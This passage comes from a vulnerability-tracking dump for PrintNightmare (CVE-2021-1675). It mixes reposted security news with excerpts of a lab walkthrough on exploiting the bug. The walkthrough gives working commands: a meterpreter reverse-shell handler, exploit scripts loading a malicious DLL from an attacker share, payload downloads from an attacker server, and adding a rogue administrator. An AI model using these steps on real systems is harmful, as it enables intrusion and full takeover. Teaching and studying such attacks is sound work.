data-ad-layout=\"in-article\"\n data-ad-format=\"fluid\"\n data-ad-client=\"ca-pub-6620833063853657\"\n data-ad-slot=\"4517761481\"> \nThe post CISA Offers New Mitigation for PrintNightmare Bug first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-01T20:02:34.007234Z"}, {"uuid": "98991434-6763-4724-b053-b0eb1fcd1b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/14933", "content": "Black Hat Ethical Hacking\nPoC Exploit Circulating for Critical Windows Print Spooler Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PoC Exploit Circulating for Critical Windows Print Spooler BugPost Views: 49 \nReading Time: 2 Minutes\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\nThe \u201cPrintNightmare\u201d bug may not be fully patched, some experts are warning, leaving the door open for widespread remote code-execution attacks.\n\nThe bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in June\u2019s Patch Tuesday updates\u00a0from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team tweeted a video\u00a0showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\nSee Also: Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground Claire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\nLooks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since https://t.co/8MiP62SlzC\n\n\u2014 Andy Gill (@ZephrFish) June 29, 2021\nSee Also: Offensive Security Tool: Pixload\nOn Wednesday, other researchers tweeted videos\u00a0and more analysis\u00a0that could be used for successful exploitation as word spread of the PoC.\nImpacket implementation of CVE-2021-1675 https://s.w.org/images/core/emoji/13.0.1/72x72/1f525.png https://t.co/UpKOueij4c\n\n\u2014 Cube0x0 (@cube0x0) June 29, 2021 See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker It should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, the authors said.\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicato[...]", "creation_timestamp": "2026-09-01T20:02:34.549024Z"}, {"uuid": "f3c6b272-3f67-4b99-b879-40d3a789d9d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/17020", "content": "Black Hat Ethical Hacking\nMicrosoft: New Unpatched Bug in Windows Print Spooler\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft: New Unpatched Bug in Windows Print SpoolerPost Views: 50 \nReading Time: 1 Minute\nMicrosoft has warned of yet another vulnerability that\u2019s been discovered in its Windows Print Spooler that can allow attackers to elevate privilege to gain full user rights to a system.\nThe advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released the advisory\u00a0late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as CVE-2021-34481. Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said. Slightly Less of a \u2018PrintNightmare\u2019The vulnerability (CVE-2021-1675) is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, Baines told BleepingComputer\u00a0that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in an upcoming presentation\u00a0at DEF CON in August.\nSee Also: Kaseya ransomware supply chain attack: What you need to know The entire saga surrounding Windows Print Spooler began Tuesday, June 30, when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an update for CVE-2021-1675\u00a0in it its usual raft of monthly Patch Tuesday updates, fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC offered its own mitigation\u00a0for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print. See Also: Offensive Security Tool: Veil To further complicate matters, Microsoft also last Thursday dropped a notice\u00a0for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday released an emergency cumulative patch\u00a0for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker However, th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:07.076595Z"}, {"uuid": "b240b279-e6a5-4339-9a55-5297a289f787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:07.494620Z"}, {"uuid": "fd8fe950-43ca-4b7a-9d06-87a3a1b47008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:14.203430Z"}, {"uuid": "12fd27bf-aa85-48d4-a9cf-9d2df1eac757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:14.300881Z"}, {"uuid": "452ee4a4-38b7-42bf-9b4d-ad757cbc4f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:14.721673Z"}, {"uuid": "ba48287f-566b-42af-95d3-13919a1d923c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26604", "content": "PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM\nIncluded in the SpoolSploit container is an SMB server implemented via Impacket (https://github.com/SecureAuthCorp/impacket). This server can be used to host malicious DLLs when executing the printnightmare attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.423026Z"}, {"uuid": "0d681c20-f2d6-4185-aa58-022a44fca662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/27439", "content": "g that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for CVE-2021-36970, a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in their September 2021 update,\u00a0the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\nSee Also: Apple Pay with VISA lets hackers force payments on locked iPhones RCE Affects Microsoft Word, Office, SharePointAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d Microsoft SharePoint Server RCEImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as CVE-2021-40487\u00a0rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d Highest CVSS Award Goes to Microsoft Exchange Server RCECVE-2021-26427, the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:41.054445Z"}, {"uuid": "fa26983d-2352-47f5-89a4-ecda6aa64feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/19795", "content": "rosoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (CVE-2021-34480) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access.\u00a0 Simple, but effective.\u201d\nSee Also: Offensive Security Tool: Mimikatz The Windows Graphic Component bug (CVE-2021-34530) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (CVE-2021-34534). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not 